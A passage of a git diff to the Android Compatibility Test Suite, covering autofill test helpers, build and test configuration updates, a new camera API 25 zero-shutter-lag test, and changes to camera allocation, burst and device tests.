+                Log.d(TAG, "focus gained on " + text.id + "; absBounds=" + absBounds);
+                mAfm.notifyViewEntered(VirtualContainerView.this, text.id, absBounds);
+            } else {
+                Log.d(TAG, "focus lost on " + text.id);
+                mAfm.notifyViewExited(VirtualContainerView.this, text.id);
+            }
+        }
+
+        Rect getAbsCoordinates() {
+            // Must offset the boundaries so they're relative to the CustomView.
+            final int offset[] = new int[2];
+            getLocationOnScreen(offset);
+            final Rect absBounds = new Rect(bounds.left + offset[0],
+                    bounds.top + offset[1],
+                    bounds.right + offset[0], bounds.bottom + offset[1]);
+            Log.v(TAG, "getAbsCoordinates() for " + text.id + ": bounds=" + bounds
+                    + " offset: " + Arrays.toString(offset) + " absBounds: " + absBounds);
+            return absBounds;
+        }
+
+        void setTextChangedListener(TextWatcher listener) {
+            text.listener = listener;
+        }
+
+        @Override
+        public String toString() {
+            return "Label: " + label + " Text: " + text + " Focused: " + focused;
+        }
+
+        final class OneTimeLineWatcher implements TextWatcher {
+            private final CountDownLatch latch;
+            private final CharSequence expected;
+
+            OneTimeLineWatcher(CharSequence expectedValue) {
+                this.expected = expectedValue;
+                this.latch = new CountDownLatch(1);
+            }
+
+            @Override
+            public void beforeTextChanged(CharSequence s, int start, int count, int after) {
+            }
+
+            @Override
+            public void onTextChanged(CharSequence s, int start, int before, int count) {
+                latch.countDown();
+            }
+
+            @Override
+            public void afterTextChanged(Editable s) {
+            }
+
+            void assertAutoFilled() throws Exception {
+                final boolean set = latch.await(FILL_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+                assertWithMessage("Timeout (%s ms) on Line %s", FILL_TIMEOUT_MS, label)
+                        .that(set).isTrue();
+                final String actual = text.text.toString();
+                assertWithMessage("Wrong auto-fill value on Line %s", label)
+                        .that(actual).isEqualTo(expected.toString());
+            }
+        }
+    }
+
+    static final class Item {
+        private final Line line;
+        final int id;
+        private final String resourceId;
+        private CharSequence text;
+        private final boolean editable;
+        private final boolean sensitive;
+        private TextWatcher listener;
+
+        Item(Line line, int id, String resourceId, CharSequence text, boolean editable,
+                boolean sensitive) {
+            this.line = line;
+            this.id = id;
+            this.resourceId = resourceId;
+            this.text = text;
+            this.editable = editable;
+            this.sensitive = sensitive;
+        }
+
+        @Override
+        public String toString() {
+            return id + "/" + resourceId + ": " + text + (editable ? " (editable)" : " (read-only)"
+                    + (sensitive ? " (sensitive)" : " (sanitized"));
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Visitor.java b/tests/autofillservice/src/android/autofillservice/cts/Visitor.java
new file mode 100644
index 0000000..96ee370
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/Visitor.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+/**
+ * A generic visitor.
+ *
+ * <p>Typically used by activities under test to provide a way to run an action on the view using
+ * the UI thread. Example:
+ * <pre><code>
+ * void onUsername(ViewVisitor<EditText> v) {
+ *     runOnUiThread(() -> {
+ *         v.visit(mUsername);
+ *     });
+ * }
+ * </code></pre>
+ */
+interface Visitor<T>{
+
+    void visit(T view);
+}
\ No newline at end of file
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
new file mode 100644
index 0000000..637966d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.text.TextUtils;
+import android.util.Log;
+import android.widget.TextView;
+
+/**
+ * Activity that displays a "Welcome USER" message after login.
+ */
+public class WelcomeActivity extends AbstractAutoFillActivity {
+
+    private static WelcomeActivity sInstance;
+
+    private static final String TAG = "WelcomeActivity";
+
+    static final String EXTRA_MESSAGE = "message";
+
+    private TextView mOutput;
+
+    public WelcomeActivity() {
+        sInstance = this;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.welcome_activity);
+
+        mOutput = (TextView) findViewById(R.id.output);
+
+        final Intent intent = getIntent();
+        final String message = intent.getStringExtra(EXTRA_MESSAGE);
+
+        if (!TextUtils.isEmpty(message)) {
+            mOutput.setText(message);
+        }
+
+        Log.d(TAG, "Output: " + mOutput.getText());
+    }
+
+    static void finishIt() {
+        if (sInstance != null) {
+            Log.d(TAG, "So long and thanks for all the fish!");
+            sInstance.finish();
+        }
+    }
+}
diff --git a/tests/backup/Android.mk b/tests/backup/Android.mk
index a2de68b..d791fa6 100644
--- a/tests/backup/Android.mk
+++ b/tests/backup/Android.mk
@@ -23,7 +23,7 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner telephony-common voip-common org.apache.http.legacy
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil ctstestrunner ctstestserver mockito-target
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner ctstestserver mockito-target-minus-junit4
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/backup/AndroidTest.xml b/tests/backup/AndroidTest.xml
index ce5d261..f292943 100644
--- a/tests/backup/AndroidTest.xml
+++ b/tests/backup/AndroidTest.xml
@@ -15,12 +15,14 @@
   ~ limitations under the License
   -->
 <configuration description="Config for CTS Backup test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="backup" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsBackupApp.apk" />
         <option name="test-file-name" value="CtsBackupTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.backup.cts" />
+        <option name="runtime-hint" value="8m20s" />
     </test>
 </configuration>
diff --git a/tests/backup/app/Android.mk b/tests/backup/app/Android.mk
index cffb1d2..8d7e3e9 100644
--- a/tests/backup/app/Android.mk
+++ b/tests/backup/app/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_COMPATIBILITY_SUITE := cts
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctsdeviceutil \
+    compatibility-device-util \
     ctstestrunner
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/camera/Android.mk b/tests/camera/Android.mk
index 48550f6..af7474e 100644
--- a/tests/camera/Android.mk
+++ b/tests/camera/Android.mk
@@ -14,6 +14,24 @@
 
 LOCAL_PATH:= $(call my-dir)
 
+# CtsCameraUtils package
+
+include $(CLEAR_VARS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util \
+	mockito-target-minus-junit4 \
+	android-ex-camera2
+
+LOCAL_SRC_FILES := \
+	$(call all-java-files-under, utils/src) \
+	$(call all-renderscript-files-under, utils/src)
+
+LOCAL_MODULE := CtsCameraUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
+
 # CtsCameraTestCases package
 
 include $(CLEAR_VARS)
@@ -23,10 +41,11 @@
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil \
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util \
 	ctstestrunner \
-	mockito-target \
-	android-ex-camera2
+	mockito-target-minus-junit4 \
+	android-ex-camera2 \
+	CtsCameraUtils
 
 LOCAL_JNI_SHARED_LIBRARIES := \
 	libctscamera2_jni \
@@ -34,14 +53,16 @@
 
 LOCAL_NDK_STL_VARIANT := c++_shared
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
+LOCAL_SRC_FILES := \
+	$(call all-java-files-under, src) \
+	$(call all-renderscript-files-under, src)
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
 LOCAL_PACKAGE_NAME := CtsCameraTestCases
 
-LOCAL_SDK_VERSION := current
+LOCAL_SDK_VERSION := test_current
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
diff --git a/tests/camera/AndroidTest.xml b/tests/camera/AndroidTest.xml
index 0f53255..5a25cbd 100644
--- a/tests/camera/AndroidTest.xml
+++ b/tests/camera/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Camera test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="camera" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsCameraTestCases.apk" />
     </target_preparer>
diff --git a/tests/camera/api25test/Android.mk b/tests/camera/api25test/Android.mk
new file mode 100644
index 0000000..f757491
--- /dev/null
+++ b/tests/camera/api25test/Android.mk
@@ -0,0 +1,45 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# and when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Include both the 32 and 64 bit versions
+LOCAL_MULTILIB := both
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util \
+    ctstestrunner \
+    android-ex-camera2 \
+    CtsCameraUtils
+
+LOCAL_PACKAGE_NAME := CtsCameraApi25TestCases
+
+LOCAL_SDK_VERSION := 25
+
+LOCAL_JAVA_LIBRARIES := android.test.runner
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/camera/api25test/AndroidManifest.xml b/tests/camera/api25test/AndroidManifest.xml
new file mode 100644
index 0000000..dd77c2d
--- /dev/null
+++ b/tests/camera/api25test/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.camera.cts.api25test">
+
+    <uses-permission android:name="android.permission.CAMERA" />
+    <uses-sdk android:targetSdkVersion="25" />
+
+    <application android:largeHeap="true">
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.camera.cts.api25test.EnableZslTestActivity"
+            android:label="EnableZslTestActivity">
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="Camera API25 Test"
+        android:targetPackage="android.camera.cts.api25test" >
+    </instrumentation>
+</manifest>
diff --git a/tests/camera/api25test/AndroidTest.xml b/tests/camera/api25test/AndroidTest.xml
new file mode 100644
index 0000000..f2b5213
--- /dev/null
+++ b/tests/camera/api25test/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Camera API 25 test cases">
+    <option name="config-descriptor:metadata" key="component" value="camera" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsCameraApi25TestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.camera.cts.api25test" />
+        <option name="runtime-hint" value="1m" />
+        <!-- test-timeout unit is ms, value = 1 min -->
+        <option name="test-timeout" value="60000" />
+    </test>
+</configuration>
diff --git a/tests/camera/api25test/src/android/camera/cts/api25test/EnableZslTest.java b/tests/camera/api25test/src/android/camera/cts/api25test/EnableZslTest.java
new file mode 100644
index 0000000..9a474c5
--- /dev/null
+++ b/tests/camera/api25test/src/android/camera/cts/api25test/EnableZslTest.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.camera.cts.api25test;
+
+import android.content.Context;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraManager;
+import android.hardware.camera2.CaptureRequest;
+import android.hardware.camera2.cts.CameraTestUtils;
+import android.hardware.camera2.cts.helpers.CameraErrorCollector;
+import android.hardware.camera2.cts.helpers.StaticMetadata;
+import android.hardware.camera2.cts.helpers.StaticMetadata.CheckLevel;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.Modifier;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+
+public class EnableZslTest extends AndroidTestCase {
+    private static final String TAG = "EnableZslTest";
+    private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+
+    private CameraManager mCameraManager;
+    private String[] mCameraIds;
+    private Handler mHandler;
+    private HandlerThread mHandlerThread;
+    private StaticMetadata mStaticInfo;
+    private CameraErrorCollector mCollector;
+
+    private static int[] sTemplates = new int[] {
+            CameraDevice.TEMPLATE_MANUAL,
+            CameraDevice.TEMPLATE_PREVIEW,
+            CameraDevice.TEMPLATE_RECORD,
+            CameraDevice.TEMPLATE_STILL_CAPTURE,
+            CameraDevice.TEMPLATE_VIDEO_SNAPSHOT,
+            CameraDevice.TEMPLATE_ZERO_SHUTTER_LAG,
+    };
+
+    @Override
+    public void setContext(Context context) {
+        super.setContext(context);
+        mCameraManager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE);
+        assertNotNull("Can't connect to camera manager!", mCameraManager);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mCameraIds = mCameraManager.getCameraIdList();
+        assertNotNull("Camera ids shouldn't be null", mCameraIds);
+
+        mHandlerThread = new HandlerThread(TAG);
+        mHandlerThread.start();
+        mHandler = new Handler(mHandlerThread.getLooper());
+
+        mCollector = new CameraErrorCollector();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        mHandlerThread.quitSafely();
+        mHandler = null;
+
+        try {
+            mCollector.verify();
+        } catch (Throwable e) {
+            // When new Exception(e) is used, exception info will be printed twice.
+            throw new Exception(e.getMessage());
+        } finally {
+            super.tearDown();
+        }
+    }
+
+    // Get android.control.enableZsl value from the request. Note that android.control.enableZsl
+    // is not a public key in API 25 so reflect is used to get the value.
+    private Boolean getEnableZslValue(CaptureRequest.Builder request) throws Exception {
+        Field[] allFields = CaptureRequest.class.getDeclaredFields();
+        for (Field field : allFields) {
+            if (Modifier.isStatic(field.getModifiers()) &&
+                    field.getType() == CaptureRequest.Key.class &&
+                    field.getGenericType() instanceof ParameterizedType) {
+                ParameterizedType paramType = (ParameterizedType)field.getGenericType();
+                Type[] argTypes = paramType.getActualTypeArguments();
+                if (argTypes.length > 0) {
+                    CaptureRequest.Key key = (CaptureRequest.Key)field.get(request);
+                    if (key.getName().equals("android.control.enableZsl")) {
+                        return (Boolean)request.get(key);
+                    }
+                }
+            }
+        }
+
+        return null;
+    }
+
+    // Verify CaptureRequest.CONTROL_ENABLE_ZSL values for a camera.
+    private void testEnableZslValueByCamera(String cameraId) throws Exception {
+        CameraDevice camera = CameraTestUtils.openCamera(mCameraManager, cameraId,
+                /*listener*/null, mHandler);
+
+        StaticMetadata staticInfo = new StaticMetadata(
+                mCameraManager.getCameraCharacteristics(cameraId), CheckLevel.ASSERT,
+                mCollector);
+
+        for (int i = 0; i < sTemplates.length; i++) {
+            CaptureRequest.Builder request = camera.createCaptureRequest(sTemplates[i]);
+            Boolean enableZsl = getEnableZslValue(request);
+            if (enableZsl != null) {
+                if (VERBOSE) {
+                    Log.v(TAG, "enableZsl is " + enableZsl + " for template " + sTemplates[i]);
+                }
+
+                mCollector.expectTrue("CaptureRequest.CONTROL_ENABLE_ZSL should be false.",
+                        !enableZsl);
+            }
+        }
+
+        camera.close();
+    }
+
+    /**
+     * Verify CaptureRequest.CONTROL_ENABLE_ZSL values.
+     * <p>Verify CaptureRequest.CONTROL_ENABLE_ZSL is false if available in all templates.</p>
+     */
+    public void testEnableZslValue() throws Exception {
+        for (int i = 0; i < mCameraIds.length; i++) {
+            testEnableZslValueByCamera(mCameraIds[i]);
+        }
+    }
+}
diff --git a/tests/camera/api25test/src/android/camera/cts/api25test/EnableZslTestActivity.java b/tests/camera/api25test/src/android/camera/cts/api25test/EnableZslTestActivity.java
new file mode 100644
index 0000000..5980a4d
--- /dev/null
+++ b/tests/camera/api25test/src/android/camera/cts/api25test/EnableZslTestActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.camera.cts.api25test;
+
+import android.app.Activity;
+
+// Stub activity used to start the app
+public class EnableZslTestActivity extends Activity {
+}
\ No newline at end of file
diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index cfd808a..42907c4 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -345,7 +345,7 @@
 
 class StaticInfo {
   public:
-    StaticInfo(ACameraMetadata* chars) : mChars(chars) {}
+    explicit StaticInfo(ACameraMetadata* chars) : mChars(chars) {}
 
     bool isColorOutputSupported() {
         return isCapabilitySupported(ACAMERA_REQUEST_AVAILABLE_CAPABILITIES_BACKWARD_COMPATIBLE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
index bbc4c75..3bcccd2 100644
--- a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
@@ -562,11 +562,27 @@
 
                     float[] whiteMeans = convertPixelYuvToRgb(scriptGraph.getOutputData());
 
-                    // low iso + low exposure (first shot)
-                    assertArrayWithinUpperBound("Black means too high", blackMeans, THRESHOLD_LOW);
+                    // Low iso + low exposure (first shot), just check and log the error.
+                    for (int i = 0; i < blackMeans.length; ++i) {
+                        if (blackMeans[i] >= THRESHOLD_LOW) {
+                            Log.e(TAG,
+                                    String.format("Black means too high: (%s should be greater"
+                                            + " than %s; item index %d in %s)", blackMeans[i],
+                                            THRESHOLD_LOW, i,
+                                            Arrays.toString(blackMeans)));
+                        }
+                    }
 
-                    // high iso + high exposure (second shot)
-                    assertArrayWithinLowerBound("White means too low", whiteMeans, THRESHOLD_HIGH);
+                    // High iso + high exposure (second shot), just check and log the error
+                    for (int i = 0; i < whiteMeans.length; ++i) {
+                        if (whiteMeans[i] <= THRESHOLD_HIGH) {
+                            Log.e(TAG,
+                                    String.format("White means too low: (%s should be less than"
+                                            + " %s; item index %d in %s)", whiteMeans[i],
+                                            THRESHOLD_HIGH, i,
+                                            Arrays.toString(whiteMeans)));
+                        }
+                    }
                 }
             }
         });
@@ -633,25 +649,38 @@
                         float[] curMeans = rgbMeans.get(i);
                         float[] nextMeans = rgbMeans.get(i+1);
 
-                        assertArrayNotGreater(
+                        float[] left = curMeans;
+                        float[] right = nextMeans;
+                        String leftString = Arrays.toString(left);
+                        String rightString = Arrays.toString(right);
+
+                        String msgHeader =
                                 String.format("Shot with sensitivity %d should not have higher " +
-                                        "average means than shot with sensitivity %d",
-                                        sensitivities[i], sensitivities[i+1]),
-                                curMeans, nextMeans);
+                                "average means than shot with sensitivity %d",
+                                sensitivities[i], sensitivities[i+1]);
+                        for (int m = 0; m < left.length; ++m) {
+                            String msg = String.format(
+                                    "%s: (%s should be less than or equal to %s; item index %d;"
+                                    + " left = %s; right = %s)",
+                                    msgHeader, left[m], right[m], m, leftString, rightString);
+                            if (left[m] > right[m]) {
+                                Log.e(TAG, msg);
+                            }
+                        }
                     }
 
                     // Test the min-max diff and ratios are within expected thresholds
                     float[] lastMeans = rgbMeans.get(NUM_STEPS - 1);
                     float[] firstMeans = rgbMeans.get(/*location*/0);
                     for (int i = 0; i < RGB_CHANNELS; ++i) {
-                        assertTrue(
-                                String.format("Sensitivity max-min diff too small (max=%f, min=%f)",
-                                        lastMeans[i], firstMeans[i]),
-                                lastMeans[i] - firstMeans[i] > THRESHOLD_MAX_MIN_DIFF);
-                        assertTrue(
-                                String.format("Sensitivity max-min ratio too small (max=%f, min=%f)",
-                                        lastMeans[i], firstMeans[i]),
-                                lastMeans[i] / firstMeans[i] > THRESHOLD_MAX_MIN_RATIO);
+                        if (lastMeans[i] - firstMeans[i] <= THRESHOLD_MAX_MIN_DIFF) {
+                            Log.w(TAG, String.format("Sensitivity max-min diff too small"
+                                    + "(max=%f, min=%f)", lastMeans[i], firstMeans[i]));
+                        }
+                        if (lastMeans[i] / firstMeans[i] <= THRESHOLD_MAX_MIN_RATIO) {
+                            Log.w(TAG, String.format("Sensitivity max-min ratio too small"
+                                    + "(max=%f, min=%f)", lastMeans[i], firstMeans[i]));
+                        }
                     }
                 }
             }
diff --git a/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
index 5fbc682..de48dd6 100644
--- a/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
@@ -32,7 +32,6 @@
 
 import java.util.List;
 import java.util.ArrayList;
-import java.util.Arrays;
 
 public class BurstCaptureTest extends Camera2SurfaceViewTestCase {
     private static final String TAG = "BurstCaptureTest";
@@ -99,31 +98,8 @@
         final long minStillFrameDuration =
                 config.getOutputMinFrameDuration(ImageFormat.YUV_420_888, stillSize);
 
-        // Add 0.05 here so Fps like 29.99 evaluated to 30
-        int minBurstFps = (int) Math.floor(1e9 / minStillFrameDuration + 0.05f);
-        boolean foundConstantMaxYUVRange = false;
-        boolean foundYUVStreamingRange = false;
 
-        // Find suitable target FPS range - as high as possible that covers the max YUV rate
-        // Also verify that there's a good preview rate as well
-        List<Range<Integer> > fpsRanges = Arrays.asList(
-                mStaticInfo.getAeAvailableTargetFpsRangesChecked());
-        Range<Integer> targetRange = null;
-        for (Range<Integer> fpsRange : fpsRanges) {
-            if (fpsRange.getLower() == minBurstFps && fpsRange.getUpper() == minBurstFps) {
-                foundConstantMaxYUVRange = true;
-                targetRange = fpsRange;
-            }
-            if (fpsRange.getLower() <= 15 && fpsRange.getUpper() == minBurstFps) {
-                foundYUVStreamingRange = true;
-            }
-        }
-
-        assertTrue(String.format("Cam %s: Target FPS range of (%d, %d) must be supported",
-                cameraId, minBurstFps, minBurstFps), foundConstantMaxYUVRange);
-        assertTrue(String.format(
-                "Cam %s: Target FPS range of (x, %d) where x <= 15 must be supported",
-                cameraId, minBurstFps), foundYUVStreamingRange);
+        Range<Integer> targetRange = getSuitableFpsRangeForDuration(cameraId, minStillFrameDuration);
 
         Log.i(TAG, String.format("Selected frame rate range %d - %d for YUV burst",
                         targetRange.getLower(), targetRange.getUpper()));
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
index 5ab9754..b51e338 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
@@ -37,6 +37,7 @@
 import android.hardware.camera2.cts.helpers.StaticMetadata;
 import android.hardware.camera2.cts.testcases.Camera2AndroidTestCase;
 import android.hardware.camera2.params.MeteringRectangle;
+import android.hardware.camera2.params.OutputConfiguration;
 import android.media.ImageReader;
 import android.os.Handler;
 import android.os.SystemClock;
@@ -645,6 +646,33 @@
     }
 
     /**
+     * Verify prepare call behaves properly when sharing surfaces.
+     *
+     */
+    public void testPrepareForSharedSurfaces() throws Exception {
+        for (int i = 0; i < mCameraIds.length; i++) {
+            try {
+                openDevice(mCameraIds[i], mCameraMockListener);
+                waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
+                if (mStaticInfo.isHardwareLevelLegacy()) {
+                    Log.i(TAG, "Camera " + mCameraIds[i] + " is legacy, skipping");
+                    continue;
+                }
+                if (!mStaticInfo.isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                            " does not support color outputs, skipping");
+                    continue;
+                }
+
+                prepareTestForSharedSurfacesByCamera();
+            }
+            finally {
+                closeDevice(mCameraIds[i], mCameraMockListener);
+            }
+        }
+    }
+
+    /**
      * Verify creating sessions back to back.
      */
     public void testCreateSessions() throws Exception {
@@ -667,6 +695,95 @@
     }
 
     /**
+     * Verify creating a custom session
+     */
+    public void testCreateCustomSession() throws Exception {
+        for (int i = 0; i < mCameraIds.length; i++) {
+            try {
+                openDevice(mCameraIds[i], mCameraMockListener);
+                waitForDeviceState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
+                if (!mStaticInfo.isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                            " does not support color outputs, skipping");
+                    continue;
+                }
+
+                testCreateCustomSessionByCamera(mCameraIds[i]);
+            }
+            finally {
+                closeDevice(mCameraIds[i], mCameraMockListener);
+            }
+        }
+    }
+
+    /**
+     * Verify creating a custom mode session works
+     */
+    private void testCreateCustomSessionByCamera(String cameraId) throws Exception {
+        final int SESSION_TIMEOUT_MS = 1000;
+        final int CAPTURE_TIMEOUT_MS = 3000;
+
+        if (VERBOSE) {
+            Log.v(TAG, "Testing creating custom session for camera " + cameraId);
+        }
+
+        Size yuvSize = mOrderedPreviewSizes.get(0);
+
+        // Create a list of image readers. JPEG for last one and YUV for the rest.
+        ImageReader imageReader = ImageReader.newInstance(yuvSize.getWidth(), yuvSize.getHeight(),
+                ImageFormat.YUV_420_888, /*maxImages*/1);
+
+        try {
+            // Create a normal-mode session via createCustomCaptureSession
+            mSessionMockListener = spy(new BlockingSessionCallback());
+            mSessionWaiter = mSessionMockListener.getStateWaiter();
+            List<OutputConfiguration> outputs = new ArrayList<>();
+            outputs.add(new OutputConfiguration(imageReader.getSurface()));
+            mCamera.createCustomCaptureSession(/*inputConfig*/null, outputs,
+                    CameraDevice.SESSION_OPERATION_MODE_NORMAL, mSessionMockListener, mHandler);
+            mSession = mSessionMockListener.waitAndGetSession(SESSION_CONFIGURE_TIMEOUT_MS);
+
+            // Verify we can capture a frame with the session.
+            SimpleCaptureCallback captureListener = new SimpleCaptureCallback();
+            SimpleImageReaderListener imageListener = new SimpleImageReaderListener();
